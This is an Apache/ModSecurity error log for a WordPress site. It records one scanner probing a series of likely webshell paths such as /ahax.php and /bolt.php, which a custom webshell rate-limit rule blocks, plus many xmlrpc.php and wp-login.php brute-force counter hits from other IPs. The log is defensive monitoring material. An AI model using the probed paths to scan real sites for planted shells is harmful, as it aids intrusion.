[Sat Feb 07 09:52:32.901907 2026] [:error] [pid 50780:tid 50802] [client 20.100.190.151:5854] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ahax.php"] [unique_id "aYaa4OtUmIu2JHM2CrvuzQAAANQ"]
[Sat Feb 07 09:52:33.707695 2026] [:error] [pid 43182:tid 43193] [client 20.100.190.151:25867] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ahax.php"] [unique_id "aYaa4fEC82JnxmrnFYkkXgAAAUk"]
[Sat Feb 07 09:52:34.346958 2026] [:error] [pid 43182:tid 43207] [client 20.100.190.151:25886] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ahax.php"] [unique_id "aYaa4vEC82JnxmrnFYkkYAAAAVc"]
[Sat Feb 07 09:52:35.044382 2026] [:error] [pid 58058:tid 58080] [client 20.100.190.151:25863] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/class-db.php"] [unique_id "aYaa47z-Qlvs65S4DP-E6wAAAZM"]
[Sat Feb 07 09:52:35.695937 2026] [:error] [pid 43182:tid 43203] [client 20.100.190.151:5837] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/class-db.php"] [unique_id "aYaa4_EC82JnxmrnFYkkZAAAAVM"]
[Sat Feb 07 09:52:36.222414 2026] [:error] [pid 50671:tid 50700] [client 20.100.190.151:36138] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/class-db.php"] [unique_id "aYaa5LvqLohWBI_mqBMmowAAABQ"]
[Sat Feb 07 09:52:36.832561 2026] [:error] [pid 50671:tid 50702] [client 20.100.190.151:40954] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/class-db.php"] [unique_id "aYaa5LvqLohWBI_mqBMmpAAAABY"]
[Sat Feb 07 09:52:37.685120 2026] [:error] [pid 50780:tid 50796] [client 20.100.190.151:36150] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cool.php"] [unique_id "aYaa5etUmIu2JHM2Crvu0AAAAM4"]
[Sat Feb 07 09:52:38.473315 2026] [:error] [pid 50780:tid 50799] [client 20.100.190.151:5882] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cool.php"] [unique_id "aYaa5utUmIu2JHM2Crvu0gAAANE"]
[Sat Feb 07 09:52:39.489290 2026] [:error] [pid 50673:tid 50749] [client 20.100.190.151:5575] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cool.php"] [unique_id "aYaa52VwLsaZ7aKO2clGggAAAI4"]
[Sat Feb 07 09:52:40.941683 2026] [:error] [pid 50673:tid 50745] [client 20.100.190.151:12717] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cool.php"] [unique_id "aYaa6GVwLsaZ7aKO2clGjAAAAIo"]
[Sat Feb 07 09:52:42.607422 2026] [:error] [pid 43182:tid 43193] [client 20.100.190.151:37531] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gm.php"] [unique_id "aYaa6vEC82JnxmrnFYkkbQAAAUk"]
[Sat Feb 07 09:52:44.117880 2026] [:error] [pid 43182:tid 43189] [client 20.100.190.151:27082] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gm.php"] [unique_id "aYaa7PEC82JnxmrnFYkkcwAAAUU"]
[Sat Feb 07 09:52:45.025258 2026] [:error] [pid 43182:tid 43201] [client 20.100.190.151:5587] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gm.php"] [unique_id "aYaa7fEC82JnxmrnFYkkdAAAAVE"]
[Sat Feb 07 09:52:46.247689 2026] [:error] [pid 50671:tid 50700] [client 20.100.190.151:23737] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gm.php"] [unique_id "aYaa7rvqLohWBI_mqBMmrgAAABQ"]
[Sat Feb 07 09:52:47.120101 2026] [:error] [pid 50673:tid 50747] [client 20.100.190.151:5599] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/simple.php"] [unique_id "aYaa72VwLsaZ7aKO2clGogAAAIw"]
[Sat Feb 07 09:52:48.657448 2026] [:error] [pid 50671:tid 50682] [client 20.100.190.151:35344] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/simple.php"] [unique_id "aYaa8LvqLohWBI_mqBMmsgAAAAI"]
[Sat Feb 07 09:52:50.806570 2026] [:error] [pid 50672:tid 50731] [client 20.100.190.151:35406] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/simple.php"] [unique_id "aYaa8g9o0jq1XS8Nv7PGdAAAAFc"]
[Sat Feb 07 09:52:51.541518 2026] [:error] [pid 50780:tid 50789] [client 20.100.190.151:25917] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/simple.php"] [unique_id "aYaa8-tUmIu2JHM2Crvu2QAAAMc"]
[Sat Feb 07 09:52:52.266893 2026] [:error] [pid 50672:tid 50708] [client 20.100.190.151:35664] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/elp.php"] [unique_id "aYaa9A9o0jq1XS8Nv7PGeAAAAEA"]
[Sat Feb 07 09:52:53.029138 2026] [:error] [pid 50673:tid 50736] [client 20.100.190.151:12675] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/elp.php"] [unique_id "aYaa9WVwLsaZ7aKO2clGtwAAAIE"]
[Sat Feb 07 09:52:53.912750 2026] [:error] [pid 55157:tid 55171] [client 20.100.190.151:25380] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/elp.php"] [unique_id "aYaa9X36JdtTn2bTEow9agAAAQk"]
[Sat Feb 07 09:52:54.708068 2026] [:error] [pid 50780:tid 50806] [client 20.100.190.151:12693] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/elp.php"] [unique_id "aYaa9utUmIu2JHM2Crvu4QAAANg"]
[Sat Feb 07 09:52:55.627262 2026] [:error] [pid 50673:tid 50750] [client 20.100.190.151:36113] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bolt.php"] [unique_id "aYaa92VwLsaZ7aKO2clGvgAAAI8"]
[Sat Feb 07 09:52:57.189754 2026] [:error] [pid 50673:tid 50751] [client 20.100.190.151:5571] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bolt.php"] [unique_id "aYaa-WVwLsaZ7aKO2clGwwAAAJA"]
[Sat Feb 07 09:52:58.574151 2026] [:error] [pid 43182:tid 43198] [client 20.100.190.151:26900] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bolt.php"] [unique_id "aYaa-vEC82JnxmrnFYkkgQAAAU4"]
[Sat Feb 07 09:52:59.700366 2026] [:error] [pid 43182:tid 43195] [client 20.100.190.151:34463] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bolt.php"] [unique_id "aYaa-_EC82JnxmrnFYkkhQAAAUs"]
[Sat Feb 07 09:53:00.489063 2026] [:error] [pid 55157:tid 55175] [client 20.100.190.151:25820] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/uploads/index.php"] [unique_id "aYaa_H36JdtTn2bTEow9bQAAAQ0"]
[Sat Feb 07 09:53:01.657915 2026] [:error] [pid 50673:tid 50747] [client 20.100.190.151:22764] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/uploads/index.php"] [unique_id "aYaa_WVwLsaZ7aKO2clGyAAAAIw"]
[Sat Feb 07 09:53:10.128517 2026] [autoindex:error] [pid 50672:tid 50715] [client 20.100.190.151:12715] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/maint/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Feb 07 09:53:14.214897 2026] [:error] [pid 55157:tid 55166] [client 20.100.190.151:15917] [client 20.100.190.151] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 20.100.190.151, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aYabCn36JdtTn2bTEow9dgAAAQQ"]
[Sat Feb 07 10:19:46.743697 2026] [:error] [pid 50673:tid 50749] [client 66.42.61.4:33490] [client 66.42.61.4] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 66.42.61.4, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYahQmVwLsaZ7aKO2clP1AAAAI4"]
[Sat Feb 07 12:40:23.723547 2026] [:error] [pid 50780:tid 50791] [client 34.69.23.19:54818] [client 34.69.23.19] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.69.23.19, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYbCN-tUmIu2JHM2CrsXYQAAAMk"]
[Sat Feb 07 12:40:54.055909 2026] [:error] [pid 58058:tid 58083] [client 152.69.216.173:46842] [client 152.69.216.173] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 152.69.216.173, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYbCVrz-Qlvs65S4DP-oCAAAAZY"]
[Sat Feb 07 12:41:17.841873 2026] [:error] [pid 50673:tid 50752] [client 129.226.82.190:60578] [client 129.226.82.190] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 129.226.82.190, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYbCbWVwLsaZ7aKO2cl8bgAAAJE"]
[Sat Feb 07 14:25:38.967182 2026] [:error] [pid 50673:tid 50748] [client 43.157.38.131:40942] [client 43.157.38.131] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aYba4mVwLsaZ7aKO2cmiRwAAAI0"]
[Sat Feb 07 14:44:02.880930 2026] [:error] [pid 58058:tid 58070] [client 109.234.162.233:37832] [client 109.234.162.233] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 109.234.162.233, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aYbfMrz-Qlvs65S4DP_GmgAAAYk"]
[Sat Feb 07 14:44:04.928287 2026] [:error] [pid 58058:tid 58067] [client 109.234.162.233:37832] [client 109.234.162.233] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 109.234.162.233, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aYbfNLz-Qlvs65S4DP_GngAAAYY"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 07 14:49:51.597499 2026] [:error] [pid 50780:tid 50782] [client 108.179.253.60:59940] [client 108.179.253.60] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 108.179.253.60, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYbgj-tUmIu2JHM2CrtCsAAAAMA"]
[Sat Feb 07 14:51:32.440487 2026] [:error] [pid 50780:tid 50801] [client 165.22.11.210:40326] [client 165.22.11.210] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 165.22.11.210, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYbg9OtUmIu2JHM2CrtDHwAAANM"]
[Sat Feb 07 15:37:41.158500 2026] [:error] [pid 43182:tid 43184] [client 95.111.228.44:34498] [client 95.111.228.44] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 95.111.228.44, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYbrxfEC82JnxmrnFYlsqQAAAUA"]
[Sat Feb 07 15:56:41.395579 2026] [:error] [pid 50671:tid 50703] [client 43.153.86.78:56698] [client 43.153.86.78] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aYbwObvqLohWBI_mqBNnSQAAABc"]
[Sat Feb 07 16:21:42.528597 2026] [:error] [pid 58058:tid 58085] [client 211.21.61.244:47816] [client 211.21.61.244] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 211.21.61.244, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYb2Frz-Qlvs65S4DP_dgQAAAZg"]
[Sat Feb 07 16:21:44.627195 2026] [:error] [pid 50780:tid 50795] [client 103.36.103.52:55058] [client 103.36.103.52] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.36.103.52, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYb2GOtUmIu2JHM2CrtfOQAAAM0"]
[Sat Feb 07 16:21:50.710474 2026] [:error] [pid 50672:tid 50714] [client 129.146.163.15:43638] [client 129.146.163.15] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 129.146.163.15, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYb2Hg9o0jq1XS8Nv7MNNwAAAEY"]
[Sat Feb 07 16:21:55.292346 2026] [:error] [pid 43182:tid 43206] [client 162.0.235.223:39592] [client 162.0.235.223] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 162.0.235.223, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYb2I_EC82JnxmrnFYl0qgAAAVY"]
[Sat Feb 07 16:22:19.674515 2026] [:error] [pid 58058:tid 58061] [client 116.202.134.139:53216] [client 116.202.134.139] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 116.202.134.139, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYb2O7z-Qlvs65S4DP_dmQAAAYA"]
[Sat Feb 07 16:22:20.207985 2026] [:error] [pid 43182:tid 43206] [client 34.55.73.47:34268] [client 34.55.73.47] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.55.73.47, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYb2PPEC82JnxmrnFYl0xQAAAVY"]
[Sat Feb 07 16:22:25.790327 2026] [:error] [pid 43182:tid 43202] [client 157.245.238.103:37310] [client 157.245.238.103] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 157.245.238.103, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYb2QfEC82JnxmrnFYl0yQAAAVI"]
[Sat Feb 07 16:22:57.438746 2026] [:error] [pid 55157:tid 55175] [client 34.63.36.209:33394] [client 34.63.36.209] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.63.36.209, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYb2YX36JdtTn2bTEoyMlwAAAQ0"]
[Sat Feb 07 16:42:14.711619 2026] [:error] [pid 50780:tid 50786] [client 157.230.24.207:54918] [client 157.230.24.207] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 157.230.24.207, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYb65utUmIu2JHM2Crtl1wAAAMQ"]
[Sat Feb 07 18:15:41.102078 2026] [:error] [pid 43182:tid 43204] [client 5.45.73.111:39836] [client 5.45.73.111] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 5.45.73.111, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYcQzfEC82JnxmrnFYmOQAAAAVQ"]
[Sat Feb 07 18:52:42.214939 2026] [:error] [pid 50672:tid 50710] [client 82.223.116.42:59972] [client 82.223.116.42] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 82.223.116.42, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aYcZeg9o0jq1XS8Nv7MrwwAAAEI"]
[Sat Feb 07 19:44:42.932384 2026] [:error] [pid 30684:tid 30693] [client 192.185.82.235:54504] [client 192.185.82.235] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 192.185.82.235, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYclqrqwdxwowLt-_Lz0mAAAAcY"]
[Sat Feb 07 19:55:45.867242 2026] [:error] [pid 43182:tid 43184] [client 108.167.189.22:40698] [client 108.167.189.22] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 108.167.189.22, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aYcoQfEC82JnxmrnFYmplQAAAUA"]
[Sat Feb 07 19:55:51.541091 2026] [:error] [pid 43182:tid 43193] [client 108.167.189.22:21572] [client 108.167.189.22] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 108.167.189.22, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aYcoR_EC82JnxmrnFYmpngAAAUk"], referer: https://gigfragments.org/wp-login.php
